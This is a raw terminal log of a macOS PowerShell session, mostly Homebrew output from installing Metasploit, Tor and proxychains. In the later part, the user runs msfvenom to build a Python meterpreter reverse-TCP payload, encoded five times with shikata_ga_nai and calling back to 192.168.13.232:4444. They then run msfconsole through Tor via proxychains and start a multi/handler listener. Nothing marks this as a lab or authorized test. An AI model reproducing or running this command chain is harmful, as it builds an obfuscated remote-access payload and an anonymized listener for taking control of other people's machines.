```
ast login: Fri Sep 12 15:10:30 on ttys003
usr/local/microsoft/powershell/7/pwsh ; exit;
ajendraprasad@Jackal ~ % /usr/local/microsoft/powershell/7/pwsh ; exit;
owerShell 7.5.2
S /Users/rajendraprasad> brew install metasploit
arning: metasploit has been deprecated! It will be disabled on 2026-09-01.
=> Caveats
etasploit is built for Intel macOS and so requires Rosetta 2 to be installed.
ou can install Rosetta 2 with:
 softwareupdate --install-rosetta --agree-to-license
ote that it is very difficult to remove Rosetta 2 once it is installed.

=> Downloading https://osx.metasploit.com/metasploit-framework-6.4.87-202509070
######################################################################## 100.0%
=> Installing dependencies: liblinear, ca-certificates, openssl@3, libssh2, lua
=> Fetching downloads for: liblinear, ca-certificates, openssl@3, libssh2, lua, pcre2, mpdecimal, readline, sqlite, xz, python@3.13 and nmap
=> Downloading https://ghcr.io/v2/homebrew/core/liblinear/manifests/2.49
######################################################################## 100.0%
=> Downloading https://ghcr.io/v2/homebrew/core/ca-certificates/manifests/2025-
######################################################################## 100.0%
=> Downloading https://ghcr.io/v2/homebrew/core/openssl/3/manifests/3.5.2
######################################################################## 100.0%
=> Downloading https://ghcr.io/v2/homebrew/core/libssh2/manifests/1.11.1
######################################################################## 100.0%
=> Downloading https://ghcr.io/v2/homebrew/core/lua/manifests/5.4.8
######################################################################## 100.0%
=> Downloading https://ghcr.io/v2/homebrew/core/pcre2/manifests/10.46
######################################################################## 100.0%
=> Downloading https://ghcr.io/v2/homebrew/core/mpdecimal/manifests/4.0.1
######################################################################## 100.0%
=> Downloading https://ghcr.io/v2/homebrew/core/readline/manifests/8.3.1
######################################################################## 100.0%
=> Downloading https://ghcr.io/v2/homebrew/core/sqlite/manifests/3.50.4-1
######################################################################## 100.0%
=> Downloading https://ghcr.io/v2/homebrew/core/xz/manifests/5.8.1
######################################################################## 100.0%
=> Downloading https://ghcr.io/v2/homebrew/core/python/3.13/manifests/3.13.7
######################################################################## 100.0%
=> Downloading https://ghcr.io/v2/homebrew/core/nmap/manifests/7.98-1
######################################################################## 100.0%
=> Fetching liblinear
=> Downloading https://ghcr.io/v2/homebrew/core/liblinear/blobs/sha256:b557d352
######################################################################## 100.0%
=> Fetching ca-certificates
=> Downloading https://ghcr.io/v2/homebrew/core/ca-certificates/blobs/sha256:a7
######################################################################## 100.0%
=> Fetching openssl@3
=> Downloading https://ghcr.io/v2/homebrew/core/openssl/3/blobs/sha256:4066d798
######################################################################## 100.0%
=> Fetching libssh2
=> Downloading https://ghcr.io/v2/homebrew/core/libssh2/blobs/sha256:4fd55e8973
######################################################################## 100.0%
=> Fetching lua
=> Downloading https://ghcr.io/v2/homebrew/core/lua/blobs/sha256:9279ae3479091e
######################################################################## 100.0%
=> Fetching pcre2
=> Downloading https://ghcr.io/v2/homebrew/core/pcre2/blobs/sha256:6ddb89f2eef2
######################################################################## 100.0%
=> Fetching mpdecimal
=> Downloading https://ghcr.io/v2/homebrew/core/mpdecimal/blobs/sha256:e21da583
######################################################################## 100.0%
=> Fetching readline
=> Downloading https://ghcr.io/v2/homebrew/core/readline/blobs/sha256:3afa0c228
```

```
==> Pouring openssl@3--3.5.2.arm64_sequoia.bottle.tar.gz
🍺  /opt/homebrew/Cellar/openssl@3/3.5.2: 7,563 files, 35.4MB
==> Installing libssh2
==> Pouring libssh2--1.11.1.arm64_sequoia.bottle.tar.gz
🍺  /opt/homebrew/Cellar/libssh2/1.11.1: 201 files, 1.2MB
==> Installing lua
==> Pouring lua--5.4.8.arm64_sequoia.bottle.tar.gz
🍺  /opt/homebrew/Cellar/lua/5.4.8: 30 files, 806KB
==> Installing pcre2
==> Pouring pcre2--10.46.arm64_sequoia.bottle.tar.gz
🍺  /opt/homebrew/Cellar/pcre2/10.46: 242 files, 6.8MB
==> Installing mpdecimal
==> Pouring mpdecimal--4.0.1.arm64_sequoia.bottle.tar.gz
🍺  /opt/homebrew/Cellar/mpdecimal/4.0.1: 22 files, 645.6KB
==> Installing readline
==> Pouring readline--8.3.1.arm64_sequoia.bottle.tar.gz
🍺  /opt/homebrew/Cellar/readline/8.3.1: 56 files, 2.6MB
==> Installing sqlite
==> Pouring sqlite--3.50.4.arm64_sequoia.bottle.1.tar.gz
🍺  /opt/homebrew/Cellar/sqlite/3.50.4: 13 files, 4.9MB
==> Installing xz
==> Pouring xz--5.8.1.arm64_sequoia.bottle.tar.gz
🍺  /opt/homebrew/Cellar/xz/5.8.1: 96 files, 2.5MB
==> Installing python@3.13
==> Pouring python@3.13--3.13.7.arm64_sequoia.bottle.tar.gz
🍺  /opt/homebrew/Cellar/python@3.13/3.13.7: 3,620 files, 66.6MB
==> Installing nmap
==> Pouring nmap--7.98.arm64_sequoia.bottle.1.tar.gz
🍺  /opt/homebrew/Cellar/nmap/7.98: 844 files, 28.8MB
==> Installing Cask metasploit
==> Running installer for metasploit with `sudo` (which may request your passwor
Password:
msfvenom --help
```

```
installer: Package name is Metasploit-framework
installer: Installing at base path /
installer: The install was successful.
==> Linking Binary 'msfd' to '/opt/homebrew/bin/msfd'
==> Linking Binary 'msfdb' to '/opt/homebrew/bin/msfdb'
==> Linking Binary 'msfelfscan' to '/opt/homebrew/bin/msfelfscan'
==> Linking Binary 'msfmachscan' to '/opt/homebrew/bin/msfmachscan'
==> Linking Binary 'msfrpc' to '/opt/homebrew/bin/msfrpc'
==> Linking Binary 'msfrpcd' to '/opt/homebrew/bin/msfrpcd'
==> Linking Binary 'msfvenom' to '/opt/homebrew/bin/msfvenom'
==> Linking Binary 'msfpescan' to '/opt/homebrew/bin/msfpescan'
==> Linking Binary 'msfbinscan' to '/opt/homebrew/bin/msfbinscan'
==> Linking Binary 'msfrop' to '/opt/homebrew/bin/msfrop'
==> Linking Binary 'msfconsole' to '/opt/homebrew/bin/msfconsole'
🍺  metasploit was successfully installed!
==> No outdated dependents to upgrade!
==> Caveats
==> metasploit
metasploit is built for Intel macOS and so requires Rosetta 2 to be installed.
You can install Rosetta 2 with:
  softwareupdate --install-rosetta --agree-to-license
Note that it is very difficult to remove Rosetta 2 once it is installed.
PS /Users/rajendraprasad> msfvenom -p python/meterpreter_reverse_tcp LHOST=<Your_IP> LPORT=<Your_Port> -e x86/shikata_ga_nai -i 5 -f raw -o payload.py

 ** Welcome to Metasploit Framework Initial Setup **
    Please answer a few questions to get started.


Would you like to use and setup a new database (recommended)? yes
Running the 'init' command for the database:
Creating database at /Users/rajendraprasad/.msf4/db
Creating db socket file at /var/folders/0c/xq3d_6ws5zz7lfml41lr35440000gn/T
Starting database at /Users/rajendraprasad/.msf4/db...waiting for server to start.... done
server started
success
Creating database users
Writing client authentication configuration file /Users/rajendraprasad/.msf4/db/pg_hba.conf
Stopping database at /Users/rajendraprasad/.msf4/db
Starting database at /Users/rajendraprasad/.msf4/db...waiting for server to start.... done
server started
success
Creating initial database schema
Database initialization successful
```

```
** Metasploit Framework Initial Setup Complete **

[-] No platform was selected, choosing Msf::Module::Platform::Python from the payload
[-] No arch selected, selecting arch: python from the payload
Error: One or more options failed to validate: LHOST, LPORT.
PS /Users/rajendraprasad> msfvenom -p python/meterpreter_reverse_tcp LHOST=192.168.13.232 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f raw -o payload.py
[-] No platform was selected, choosing Msf::Module::Platform::Python from the payload
[-] No arch selected, selecting arch: python from the payload
Found 1 compatible encoders
Attempting to encode payload with 5 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 24889 (iteration=0)
x86/shikata_ga_nai succeeded with size 24918 (iteration=1)
x86/shikata_ga_nai succeeded with size 24947 (iteration=2)
x86/shikata_ga_nai succeeded with size 24976 (iteration=3)
x86/shikata_ga_nai succeeded with size 25005 (iteration=4)
x86/shikata_ga_nai chosen with final size 25005
Payload size: 25005 bytes
Saved as: payload.py
PS /Users/rajendraprasad> /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
PS /Users/rajendraprasad> brew install tor proxychains-ng
==> Fetching downloads for: tor and proxychains-ng
==> Downloading https://ghcr.io/v2/homebrew/core/tor/manifests/0.4.8.17
################################################################################################################################################################################################################################################################
==> Downloading https://ghcr.io/v2/homebrew/core/proxychains-ng/manifests/4.17
################################################################################################################################################################################################################################################################
==> Fetching dependencies for tor: libevent and libscrypt
==> Downloading https://ghcr.io/v2/homebrew/core/libevent/manifests/2.1.12_1
################################################################################################################################################################################################################################################################
==> Fetching libevent
==> Downloading https://ghcr.io/v2/homebrew/core/libevent/blobs/sha256:65fc7c61fec0f5ae0c5dfc8fc7e3b6b0507d3f1c7c308a332802541f00334963
################################################################################################################################################################################################################################################################
==> Downloading https://ghcr.io/v2/homebrew/core/libscrypt/manifests/1.22
################################################################################################################################################################################################################################################################
==> Fetching libscrypt
==> Downloading https://ghcr.io/v2/homebrew/core/libscrypt/blobs/sha256:7a251107f146f88d993fa4fe542c8fbd92d9123904359f91ac5f44aedbb90344
################################################################################################################################################################################################################################################################
==> Fetching tor
==> Downloading https://ghcr.io/v2/homebrew/core/tor/blobs/sha256:a6f65834822866ff7d788511eba6c0303ef2df4a0c142bf09248dc63db35dda6
################################################################################################################################################################################################################################################################
==> Fetching proxychains-ng
==> Downloading https://ghcr.io/v2/homebrew/core/proxychains-ng/blobs/sha256:98974765fe2ae812f54eac9b71dfc62814e11bb4cb360a17b4125076c4a0ccae
################################################################################################################################################################################################################################################################
==> Installing dependencies for tor: libevent and libscrypt
==> Installing tor dependency: libevent
==> Downloading https://ghcr.io/v2/homebrew/core/libevent/manifests/2.1.12_1
Already downloaded: /Users/rajendraprasad/Library/Caches/Homebrew/downloads/68b113f9ab63db45f4e1860de522ce2ca4fa081eb3c0d5c7d6005a35c3cf8d06--libevent-2.1.12_1.bottle_manifest.json
==> Pouring libevent--2.1.12_1.arm64_sequoia.bottle.tar.gz
🍺  /opt/homebrew/Cellar/libevent/2.1.12_1: 58 files, 2.2MB
==> Installing tor dependency: libscrypt
==> Downloading https://ghcr.io/v2/homebrew/core/libscrypt/manifests/1.22
Already downloaded: /Users/rajendraprasad/Library/Caches/Homebrew/downloads/18fc0cc13bfd61ad26ade26c665ae3ea1ae4125adfc4c683e4467e7d9e0a7775--libscrypt-1.22.bottle_manifest.json
```

```
🍺  /opt/homebrew/Cellar/libscrypt/1.22: 9 files, 102.9KB
==> Installing tor
==> Pouring tor--0.4.8.17.arm64_sequoia.bottle.tar.gz
==> Caveats
To start tor now and restart at login:
  brew services start tor
Or, if you don't want/need a background service you can just run:
  /opt/homebrew/opt/tor/bin/tor
==> Summary
🍺  /opt/homebrew/Cellar/tor/0.4.8.17: 26 files, 25.5MB
==> Running `brew cleanup tor`...
Disable this behaviour by setting `HOMEBREW_NO_INSTALL_CLEANUP=1`.
Hide these hints with `HOMEBREW_NO_ENV_HINTS=1` (see `man brew`).
==> Pouring proxychains-ng--4.17.arm64_sequoia.bottle.tar.gz
🍺  /opt/homebrew/Cellar/proxychains-ng/4.17: 11 files, 214.4KB
==> Running `brew cleanup proxychains-ng`...
==> No outdated dependents to upgrade!
==> Caveats
==> tor
To start tor now and restart at login:
  brew services start tor
Or, if you don't want/need a background service you can just run:
  /opt/homebrew/opt/tor/bin/tor
PS /Users/rajendraprasad> brew services start tor
==> Successfully started `tor` (label: homebrew.mxcl.tor)
PS /Users/rajendraprasad> socks5 127.0.0.1 9050
socks5: The term 'socks5' is not recognized as a name of a cmdlet, function, script file, or executable program.
Check the spelling of the name, or if a path was included, verify that the path is correct and try again.
PS /Users/rajendraprasad> nano ~/.proxychains/proxychains.conf
PS /Users/rajendraprasad> proxychains4 msfconsole
[proxychains] config file found: /opt/homebrew/etc/proxychains.conf
[proxychains] preloading /opt/homebrew/Cellar/proxychains-ng/4.17/lib/libproxychains4.dylib
Metasploit tip: Set the current module's RHOSTS with database values using
hosts -R or services -R
```

```
EFLAGS: 00010046
eax: 00000001 ebx: f77c8c00 ecx: 00000000 edx: f77f0001
esi: 803bf014 edi: 8023c755 ebp: 80237f84 esp: 80237f60
ds: 0018   es: 0018  ss: 0018
Process Swapper (Pid: 0, process nr: 0, stackpage=80377000)


Stack: 90909090990909090990909090
       90909090990909090990909090
       90909090.90909090.90909090
       90909090.90909090.90909090
       90909090.90909090.09090900
       90909090.90909090.09090900
       ..........................
       ccccccccccccccccccccccccc
       ccccccccccccccccccccccccc
       ccccccccc.................
       ccccccccccccccccccccccccc
       ccccccccccccccccccccccccc
       .................ccccccccc
       ccccccccccccccccccccccccc
       ccccccccccccccccccccccccc
       ..........................
       ffffffffffffffffffffffff
       ffffffff..................
       ffffffffffffffffffffffff
       ffffffff..................
       ffffffff..................
       ffffffff..................


Code: 00 00 00 00 M3 T4 SP L0 1T FR 4M 3W OR K! V3 R5 I0 N5 00 00 00 00
```

```
       =[ metasploit v6.4.87-dev-5fedbe026b4d8cb29f6ff14faa5516aca3e0dff0]
+ -- --=[ 2,552 exploits - 1,310 auxiliary - 1,680 payloads     ]
+ -- --=[ 431 post - 49 encoders - 13 nops - 9 evasion          ]

Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project

msf > set payload python/meterpreter_reverse_tcp
payload => python/meterpreter_reverse_tcp
msf > set LHOST 192.168.13.232
LHOST => 192.168.13.232
msf > set LPORT 4444
LPORT => 4444
msf > exploit
[-] Unknown command: exploit. Run the help command for more details.
msf > use exploit/multi/handler
[*] Using configured payload python/meterpreter_reverse_tcp
msf exploit(multi/handler) > set payload python/meterpreter_reverse_tcp
payload => python/meterpreter_reverse_tcp
msf exploit(multi/handler) > set LHOST 192.168.13.232
LHOST => 192.168.13.232
msf exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.13.232:4444
```